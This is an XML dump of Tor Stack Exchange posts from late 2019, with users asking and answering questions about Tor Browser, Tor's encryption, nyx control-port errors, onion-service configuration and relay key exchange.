  <row Id="20522" PostTypeId="2" ParentId="20471" CreationDate="2019-10-31T12:49:03.297" Score="0" Body="&lt;p&gt;So, let's talk about how Tor Browser works with a website.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Your browser connects to the Tor network&lt;/li&gt;&#xA;&lt;li&gt;The Tor network and browser hides your identity by making you look like every other user&lt;/li&gt;&#xA;&lt;li&gt;You exit the Tor network via an Exit node and reach the website. Unless you tell the website who you are, they can't see anything about you...&lt;strong&gt;except that you are using Tor&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Google hates Tor. Even if you want to just search the web using Google, there's a good chance that you will get a never-ending Captcha page because Google doesn't want people using Tor to use their service. That goes for Gmail as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better option would be a free protonmail account. You can even access that &lt;a href=&quot;https://protonirockerxow.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;without leaving the Tor network&lt;/a&gt;. You still need to verify your information with them but at least they are not openly hostile to Tor users and no, the recipient would not be able to see your IP.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-10-31T12:49:03.297" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20523" PostTypeId="1" CreationDate="2019-10-31T13:57:04.373" Score="0" ViewCount="56" Body="&lt;p&gt;I am doing a School project based on the in depth security of tor and i can't find the up-to-date security protocols the tor uses. i have found an old thread saying it uses RSA1024 for encryption but in another thread i found that tor wanted to mitigate to Ed25519-SHA-512 but i havent found more on that please could someone explain to me what protocols tor uses and what is the up-to-date encryption used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have found this &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt&lt;/a&gt; but seems to be old?&lt;/p&gt;&#xA;" OwnerUserId="28063" LastActivityDate="2019-11-01T01:25:49.187" Title="Specifications for Tor security in the transmision of Data" Tags="|help|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20524" PostTypeId="2" ParentId="20523" CreationDate="2019-11-01T01:25:49.187" Score="1" Body="&lt;p&gt;The &lt;code&gt;tor-spec.txt&lt;/code&gt; you linked to is a more-or-less up-to-date description of how Tor works.  There may be minor divergences between that document and the running code (which makes the codebase the definitive specification), but for almost any purposes you'll be wanting it for, it is sufficient.  In particular, it describes the use of Ed25519 and Curve25519 in various parts of the protocol.&lt;/p&gt;&#xA;" OwnerUserId="27799" LastActivityDate="2019-11-01T01:25:49.187" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20525" PostTypeId="2" ParentId="20469" CreationDate="2019-11-01T06:38:37.490" Score="0" Body="&lt;p&gt;Tor Browser does not have that functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume that this means that you want multiple connections to Tor at the same time.&#xA;Your best option is to download a free VM solution like Virtualbox and create multiple VMs with Tor running. Each VM will have it's own connection to Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If are willing to learn Linux. You can also install a couple of Linux session in WSL and then install Tor-Browser in each of those and then learn how to run XWindows with WSL to make a GUI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason that this isn't built into Tor Browser already is that the developers don't see any particular use case where this will help your anonymity. If you want, you can join the &lt;a href=&quot;https://lists.torproject.org/cgi-bin/mailman/listinfo&quot; rel=&quot;nofollow noreferrer&quot;&gt;tor-talk mailing list&lt;/a&gt; and ask how to put in a feature request for a future version but for now this is probably the best you can do in Windows.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-11-01T06:38:37.490" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20527" PostTypeId="1" AcceptedAnswerId="20534" CreationDate="2019-11-01T17:12:03.783" Score="0" ViewCount="379" Body="&lt;p&gt;I see a lot of people using Kali and Whonix gateway instead of the original Whonix workstation and gateway. Why would they do that? What are the differences and are there any pros/cons?&lt;/p&gt;&#xA;" OwnerUserId="28071" LastActivityDate="2019-11-02T20:57:21.410" Title="Whonix workstation + Whonix gateway vs Kali + Whonix gateway" Tags="|whonix|kali-linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20528" PostTypeId="1" CreationDate="2019-11-01T21:10:48.277" Score="2" ViewCount="5270" Body="&lt;p&gt;I'm running Ubuntu 18.04 server, headless and installed tor using the &lt;a href=&quot;https://www.torproject.org/docs/debian.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;debian instructions on the tor project&lt;/a&gt;. However, nyx will not run to show me tor connection information, when I enter &lt;code&gt;nyx&lt;/code&gt; I receive the message: &lt;code&gt;Unable to connect to tor. Maybe it's running without a ControlPort?&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I can see tor running when I run &lt;code&gt;top&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   921 root      20   0   75448  19400   6356 S   0.3  0.5   0:03.12 tor  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, when I run &lt;code&gt;systemctl | grep tor&lt;/code&gt; I see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;● tor.service            loaded active exited    Anonymizing overlay network for TCP (multi-instance-master)                  &#xA;● tor@default.service    loaded failed failed    Anonymizing overlay network for TCP                &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've configured my 'tor service' in &lt;code&gt;/usr/share/tor/tor-service-defaults-torrc&lt;/code&gt; and that file's contents are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DataDirectory /var/lib/tor&#xA;PidFile /run/tor/tor.pid&#xA;RunAsDaemon 1&#xA;User debian-tor&#xA;&#xA;ControlSocket /run/tor/control GroupWritable RelaxDirModeCheck&#xA;ControlSocketsGroupWritable 1&#xA;SocksPort unix:/run/tor/socks WorldWritable&#xA;SocksPort 9050&#xA;&#xA;ControlPort 9051&#xA;CookieAuthentication 1&#xA;CookieAuthFileGroupReadable 1&#xA;CookieAuthFile /run/tor/control.authcookie&#xA;&#xA;Log notice syslog&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help to get nyx working and improve my tor implementation is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="28072" LastEditorUserId="28072" LastEditDate="2019-11-01T23:08:49.163" LastActivityDate="2022-03-18T20:02:30.267" Title="nyx - Unable to connect to tor. Maybe it's running without a ControlPort?" Tags="|onion-services|tor-install|nyx|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20529" PostTypeId="1" CreationDate="2019-11-02T04:25:04.990" Score="-2" ViewCount="1302" Body="&lt;p&gt;If i going to buy some products like mobile market using Tor browser, how to do buy a product and what is the safe way of buying products? is this safe and original?&lt;/p&gt;&#xA;" OwnerUserId="28075" LastEditorUserId="31632" LastEditDate="2021-05-25T20:40:38.277" LastActivityDate="2023-06-10T08:05:43.803" Title="How can i buy a products in Tor browser?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20530" PostTypeId="2" ParentId="20529" CreationDate="2019-11-02T08:23:21.080" Score="1" Body="&lt;p&gt;Tor Browser is just a normal web browser except that it works to keep you anonymous. You can do anything with it that you can do on any other browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that said, there are a few things that must be said:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If the company doesn't allow anonymous transactions or doesn't allow people using Tor to use their website, then you can't use Tor Browser&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As soon as you log in or give someone your address then you are not anonymous anymore and so Tor Browser isn't doing much for you&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If your question is about how to buy something illegal on a darkweb market, then that is against the stackexchange rules and you won't find what you are looking for.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-11-02T08:23:21.080" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20531" PostTypeId="1" CreationDate="2019-11-02T12:58:39.667" Score="1" ViewCount="2041" Body="&lt;p&gt;I use lighttpd, i can access localhost with Firefox, use port 9000,&#xA;I modified my &lt;code&gt;torrc&lt;/code&gt; with this port;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/hidden_service/&#xA;HiddenServicePort 80 127.0.0.1:9000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reload, restart..but can't connect to my .onion in tor.  I get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Hmm. We’re having trouble finding that site.&#xA;&#xA;We can’t connect to the server at xxxxxxxxxxxxxxxxx.onion.&#xA;&#xA;If that address is correct, here are three other things you can try:&#xA;&#xA;    Try again later.&#xA;    Check your network connection.&#xA;    If you are connected but behind a firewall, check that Tor Browser has permission to access the Web.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I test the same config on ubuntu &amp;amp; debian.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my .onion is an v3 56caracters then i added this line to my torrc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/hidden_service&#xA;HiddenServiceVersion 3&#xA;HiddenServicePort 80 127.0.0.1:9000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Right look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@debian:/var/lib/tor# ls -l&#xA;total 5572&#xA;drwx--S--- 3 119 avahi    4096 Nov  5 08:33 hidden_service&#xA;&#xA;&#xA;&#xA;root@debian:/var/lib/tor/hidden_service# ls -l&#xA;total 16&#xA;drwx--S--- 2 119 avahi 4096 Nov  2 07:42 authorized_clients&#xA;-rwx------ 1 119 avahi   63 Nov  2 16:40 hostname&#xA;-rwx------ 1 119 avahi   64 Nov  2 07:42 hs_ed25519_public_key&#xA;-rwx------ 1 119 avahi   96 Nov  2 07:42 hs_ed25519_secret_key&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Btw i cant access with localhost:9000 on Firefox. But with localhost:80 &amp;amp; localhost it work. (i put port 9000 on config)&#xA;I followed this guide for install my server: &lt;a href=&quot;https://www.osradar.com/how-to-install-lighttpd-web-server-on-ubuntu-18-04/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.osradar.com/how-to-install-lighttpd-web-server-on-ubuntu-18-04/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only test with Ubuntu &amp;amp; Debian, never in Windows.&lt;/p&gt;&#xA;" OwnerUserId="28077" LastEditorUserId="88" LastEditDate="2019-11-06T16:56:19.857" LastActivityDate="2021-12-28T16:06:25.560" Title="Can't host my own hidden service" Tags="|onion-services|onion-routing|website|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20532" PostTypeId="1" CreationDate="2019-11-02T17:11:15.477" Score="0" ViewCount="81" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AQ3dc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AQ3dc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;I am using OS X Mojave and I have downloaded Tor browser on the official website. However when I try to lauch as usual, an error message appears stating that Tos has been closed during launch. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even when I copy the &quot;Tor log&quot;, it is blank. There is no information whatsoever on the nature of the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, I have allowed the application to be open on my computer. &#xA;May I get some help?&lt;/p&gt;&#xA;" OwnerUserId="28080" LastEditorUserId="28080" LastEditDate="2019-11-03T15:57:59.030" LastActivityDate="2021-12-24T22:06:00.493" Title="Tor won't even lauch" Tags="|tor-browser-bundle|mac|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20534" PostTypeId="2" ParentId="20527" CreationDate="2019-11-02T20:57:21.410" Score="0" Body="&lt;p&gt;Kali is an linux distribution particularly used by penetration testers. The default workstation is not by default configured to use as a pentesting platform. I suppose those who use kali behind a Whonix gateway wants to be anonymous while performing penetration tests.&lt;/p&gt;&#xA;" OwnerUserId="459" LastActivityDate="2019-11-02T20:57:21.410" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20536" PostTypeId="2" ParentId="20486" CreationDate="2019-11-03T08:04:08.730" Score="0" Body="&lt;p&gt;Onion services come and go quickly. It is no surprise that many of the ones that you might use are not functional. If you want to test your connection, a couple of ones that you can try are: &lt;a href=&quot;https://facebookcorewwwi.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;facebook&lt;/a&gt; and the &lt;a href=&quot;http://expyuzz4wqqyqhjn.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;tor project&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reddit's &lt;a href=&quot;https://www.reddit.com/r/onions/&quot; rel=&quot;nofollow noreferrer&quot;&gt;r/onions&lt;/a&gt; has a large collection of onion services that you can try but what site is up today may not be up tomorrow. That's because many people run onion services off of their own computers.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-11-03T08:04:08.730" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20538" PostTypeId="2" ParentId="20532" CreationDate="2019-11-03T14:42:39.263" Score="0" Body="&lt;p&gt;You might need to delete it and re-download it. &lt;/p&gt;&#xA;" OwnerUserId="28078" LastActivityDate="2019-11-03T14:42:39.263" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20539" PostTypeId="2" ParentId="6571" CreationDate="2019-11-03T15:27:20.257" Score="0" Body="&lt;p&gt;On a non-rooted device &gt; Install MiXplorer, browse the Orbot apk file, modify the torrc config, exit and sign the apk then install it.&lt;/p&gt;&#xA;" OwnerUserId="28085" LastActivityDate="2019-11-03T15:27:20.257" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20540" PostTypeId="2" ParentId="6896" CreationDate="2019-11-03T15:34:08.763" Score="-1" Body="&lt;p&gt;Don't use the Tor browser; use Tor and proxy Firefox through it.&#xA;There's nothing special with Tor, it has just a different TLD.&#xA;The regular cookie management extensions should work except you're using an old version of the browser which doesn't support the newer WebExtensions API.&#xA;Hope you find &lt;a href=&quot;https://addons.mozilla.org/en-GB/firefox/addon/cookie-autodelete/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cookie Autodelete&lt;/a&gt; useful.&lt;/p&gt;&#xA;" OwnerUserId="28085" LastActivityDate="2019-11-03T15:34:08.763" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20541" PostTypeId="1" AcceptedAnswerId="20543" CreationDate="2019-11-03T16:48:40.217" Score="0" ViewCount="92" Body="&lt;p&gt;Hay guys I was just wondering how am I supposed to do about someone stealing my money out of my bank account &#xA;I've blocked the card and closed down the account.. But still he get money from me!? &lt;/p&gt;&#xA;" OwnerUserId="28078" LastActivityDate="2019-11-03T21:09:52.577" Title="people stealing my money from my bank account" Tags="|anonymity|" AnswerCount="1" CommentCount="1" ClosedDate="2019-11-06T16:53:08.640" ContentLicense="CC BY-SA 4.0" />
  <row Id="20542" PostTypeId="1" CreationDate="2019-11-03T17:21:23.647" Score="0" ViewCount="545" Body="&lt;p&gt;Tor is last version. When paste any .onion address I see this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ERROR: Not Found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While trying to retrieve the URL &lt;a href=&quot;http://site.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://site.onion/&lt;/a&gt; (normal onion address, that actually works fine):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DNS resolving failed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your cache administrator is webmaster. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What to do? Help please. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Logs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;11/3/19, 16:35:55.949 [NOTICE] Bootstrapped 10% (conn_done): Connected &#xA;to a relay &#xA;11/3/19, 16:35:56.810 [NOTICE] Bootstrapped 14% (handshake): Handshaking with a relay &#xA;11/3/19, 16:35:56.820 [NOTICE] Bootstrapped 15% (handshake_done): Handshake with a relay done &#xA;11/3/19, 16:35:56.820 [NOTICE] Bootstrapped 75% (enough_dirinfo): Loaded enough directory info to build circuits &#xA;11/3/19, 16:35:56.820 [NOTICE] Bootstrapped 90% (ap_handshake_done): Handshake finished with a relay to build circuits &#xA;11/3/19, 16:35:56.830 [NOTICE] Bootstrapped 95% (circuit_create): Establishing a Tor circuit &#xA;11/3/19, 16:35:56.952 [NOTICE] Bootstrapped 100% (done): Done &#xA;11/3/19, 16:35:57.966 [NOTICE] New control connection opened from 127.0.0.1. &#xA;11/3/19, 17:15:50.185 [NOTICE] New control connection opened from 127.0.0.1. &#xA;11/3/19, 17:15:52.941 [NOTICE] New control connection opened from 127.0.0.1. &#xA;11/3/19, 17:15:52.941 [NOTICE] Rate limiting NEWNYM request: delaying by 8 second(s) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28086" LastActivityDate="2022-03-23T06:00:55.093" Title="Tor error &quot;DNS resolving failed&quot;" Tags="|dns|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20543" PostTypeId="2" ParentId="20541" CreationDate="2019-11-03T21:09:52.577" Score="0" Body="&lt;p&gt;Call your bank. Ask to speak with the fraud office. They can open an investigation on what is happening.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-11-03T21:09:52.577" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20544" PostTypeId="2" ParentId="20542" CreationDate="2019-11-03T21:14:29.337" Score="0" Body="&lt;p&gt;Onion services come and go quickly. It is no surprise that many of the ones that you might use are not functional. If you want to test your connection, a couple of ones that you can try are: &lt;a href=&quot;https://facebookcorewwwi.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;facebook&lt;/a&gt; and the &lt;a href=&quot;http://expyuzz4wqqyqhjn.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;tor project&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-11-03T21:14:29.337" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20545" PostTypeId="2" ParentId="20477" CreationDate="2019-11-03T23:51:23.020" Score="0" Body="&lt;p&gt;You need to provide the proxy server - like 127.0.0.1 9050 socks5&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2019-11-03T23:51:23.020" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20546" PostTypeId="2" ParentId="20542" CreationDate="2019-11-04T01:00:50.463" Score="0" Body="&lt;p&gt;This part of the error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Your cache administrator is webmaster. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Suggests that whatever you're pasting the onion address into is configured to use a caching proxy that does not understand onion addresses.  You'll need to reconfigure your system to use a proxy that understands onion addresses, or to not use a proxy for connecting to onion addresses.&lt;/p&gt;&#xA;" OwnerUserId="27799" LastActivityDate="2019-11-04T01:00:50.463" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20549" PostTypeId="2" ParentId="20503" CreationDate="2019-11-04T17:31:12.520" Score="0" Body="&lt;p&gt;I don't really know why you want to use such config, if you don't want to do smth illegal (even SilkR0ad creator didn't have paranoia like you XD). Firstly, it will take you to reach simple website about 2 minutes, and you won't be able to search comfortably. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea to use Raspberry Pi is very good, so I suggest you to set up R Pi, and from it connect to Tor(if you need this setup to visit .onion links). &#xA;If you only want to search anonymously and get rid off BigBrother, you can config openvpn server or purchase NordVPN (remember, it is better to use cryptocurrency as a payment method, more secure and it is less chance that &quot;THEY&quot; will trace you) and plugin Firefox to use DuckDuckGo search engine. If you done with your job, you can easily break R Pi and drop it to the further trash box.&#xA;Hope this would help you :)&lt;/p&gt;&#xA;" OwnerUserId="28093" LastActivityDate="2019-11-04T17:31:12.520" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20550" PostTypeId="1" CreationDate="2019-11-05T14:02:03.923" Score="0" ViewCount="170" Body="&lt;p&gt;I am new to Tor.  I don't know if Tor saves my cache, cookies or any kind of data locally on my PC. I don't want to use Tails OS as it takes long to boot. I know that I can delete cookies and all kinds of data later then overwrite my drive, but that takes a long time as well. So do you have any ideas that can help me? &lt;/p&gt;&#xA;" OwnerDisplayName="user28097" LastEditorUserId="27799" LastEditDate="2019-12-23T07:21:34.910" LastActivityDate="2020-05-21T08:03:20.253" Title="I am new on Tor I need help with traces" Tags="|anonymity|tails|windows|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20552" PostTypeId="1" CreationDate="2019-11-05T16:34:26.907" Score="0" ViewCount="75" Body="&lt;p&gt;From &lt;a href=&quot;https://en.wikipedia.org/wiki/Onion_routing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt;, I understand that&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Using asymmetric key cryptography, the originator obtains a public key from the directory node to send an encrypted message to the first (&quot;entry&quot;) node, establishing a connection and a shared secret (&quot;session key&quot;).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This makes sense to me; the client and first relay node communicate an authenticated key exchange, as they know each other. However, Wikipedia then goes on to say&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Using the established encrypted link to the entry node, the originator can then relay a message through the first node to a second node in the chain using encryption that only the second node, and not the first, can decrypt.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How can the client and relay node 2 negotiate a key exchange that tunnels through relay node 1 without relay node 1 having the ability to act as a man in the middle and modify public keys that go through the connection.. Wiki says that &quot;only the second node, not the first, can decrypt it&quot;. How can the second node decrypt the data without a key exchange taking place, and in such a way that node 1 can't read this data?&lt;/p&gt;&#xA;" OwnerUserId="27663" LastActivityDate="2021-12-25T22:03:50.357" Title="Client key exchange with Relay Node 2 &amp; 3" Tags="|anonymity|connection|tunnel|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20553" PostTypeId="2" ParentId="20531" CreationDate="2019-11-05T21:57:32.230" Score="0" Body="&lt;p&gt;i got the same problem...my server is savant, do know much on this, but i suspect is something with the v3 onions, it generated a 52string.onion wich display the same log.&#xA;I saw that:&#xA;&quot;How to setup your own prop224 service&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's easy! Just use your ​regular onion service torrc and add HiddenServiceVersion 3 in your onion service torrc block. ` Here is an example torrc designed for testing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SocksPort auto&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HiddenServiceDir /home/user/tmp/hsv3&#xA;HiddenServiceVersion 3&#xA;HiddenServicePort 6667 127.0.0.1:6667&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then your onion address is in /home/user/tmp/hsv3/hostname. To host both a v2 and a v3 service using two onion service torrc blocks:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HiddenServiceDir /home/user/tmp/hsv2&#xA;HiddenServicePort 6667 127.0.0.1:6667&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HiddenServiceDir /home/user/tmp/hsv3&#xA;HiddenServiceVersion 3&#xA;HiddenServicePort 6668 127.0.0.1:6667&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that tor is strict about directory permissions and does not like to share its files. Make sure to restrict read and write access to the onion services directory before restarting tor. For most linux based systems&lt;/p&gt;&#xA;&#xA;&lt;p&gt;chmod 700 -R /var/lib/tor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;should be intended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To restart tor it's safer to not use SIGHUP directly (see bug #21818), but to check the validity of the config first. On Debian based systems the services management tool does this for you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;service tor restart&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I do not understand this much and is just for Linux, is´n it?&#xA; I would appreciate any in formation on this , thank ypu very much.&#xA;M. Almeida&lt;/p&gt;&#xA;" OwnerUserId="28098" LastActivityDate="2019-11-05T21:57:32.230" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20554" PostTypeId="2" ParentId="20552" CreationDate="2019-11-06T09:14:23.500" Score="0" Body="&lt;p&gt;tl;dr: because Diffie and Hellman are &lt;em&gt;freaking geniuses&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Longer answer: in the same way that the client and first relay can communicate an authenticated and secure key exchange even though there's an entire Internet worth of potential people in the middle, the client and second relay can communicate an authenticated and secure key exchange also, even though there's a person in the middle at the first relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client simply says to the first relay, &quot;here's a cell I'd like you to forward to the relay at (address)&quot;, and the second relay says to the first relay, &quot;here's a cell I'd like you to forward to the client on circuit (number)&quot; (because the second relay doesn't have the client's IP), and the key establishment and relay authentication happens over that channel.&lt;/p&gt;&#xA;" OwnerUserId="27799" LastActivityDate="2019-11-06T09:14:23.500" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20555" PostTypeId="2" ParentId="20502" CreationDate="2019-11-06T10:24:14.847" Score="0" Body="&lt;p&gt;I'm in the middle of the same problem. Some possibilities: 1) Make sure ALL your OS updates are installed and try again. That would make it a timing issue. 2) Search for an older Tor version 3) Report it to Tor - frontdesk@torproject.org.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;other posts on the bug: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.reddit.com/r/TOR/comments/dlpmsi/i_just_updated_my_tor_browser_to_the_new_version/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.reddit.com/r/TOR/comments/dlpmsi/i_just_updated_my_tor_browser_to_the_new_version/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://steamcommunity.com/app/489830/discussions/0/312265327168390553/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://steamcommunity.com/app/489830/discussions/0/312265327168390553/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28103" LastActivityDate="2019-11-06T10:24:14.847" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20557" PostTypeId="2" ParentId="8603" CreationDate="2019-11-06T17:18:02.347" Score="0" Body="&lt;p&gt;using the TOR browser doesn’t mean we are fully protected, by avoiding it&#xA;using in full-screen mode and other small precautions might provide minor&#xA;exposure to tracking compared to Firefox.&lt;/p&gt;&#xA;" OwnerUserId="28105" LastActivityDate="2019-11-06T17:18:02.347" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20558" PostTypeId="2" ParentId="20528" CreationDate="2019-11-06T18:35:39.350" Score="1" Body="&lt;p&gt;I found the answer in this &lt;a href=&quot;https://askubuntu.com/questions/833021/could-not-bind-to-127-0-0-19050-address-already-in-use-is-tor-already-running#834333&quot;&gt;post&lt;/a&gt; the issue was that another tor service was running, blocking access to the control port. The following code fixed the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sudo netstat -plnt | fgrep 9050&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find the other service hogging the control port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sudo killall tor&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To kill all tor processes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sudo systemctl start tor.service&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I ran &lt;code&gt;journalctl -xe&lt;/code&gt; to make sure that tor booted correctly.&lt;/p&gt;&#xA;" OwnerUserId="28072" LastActivityDate="2019-11-06T18:35:39.350" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
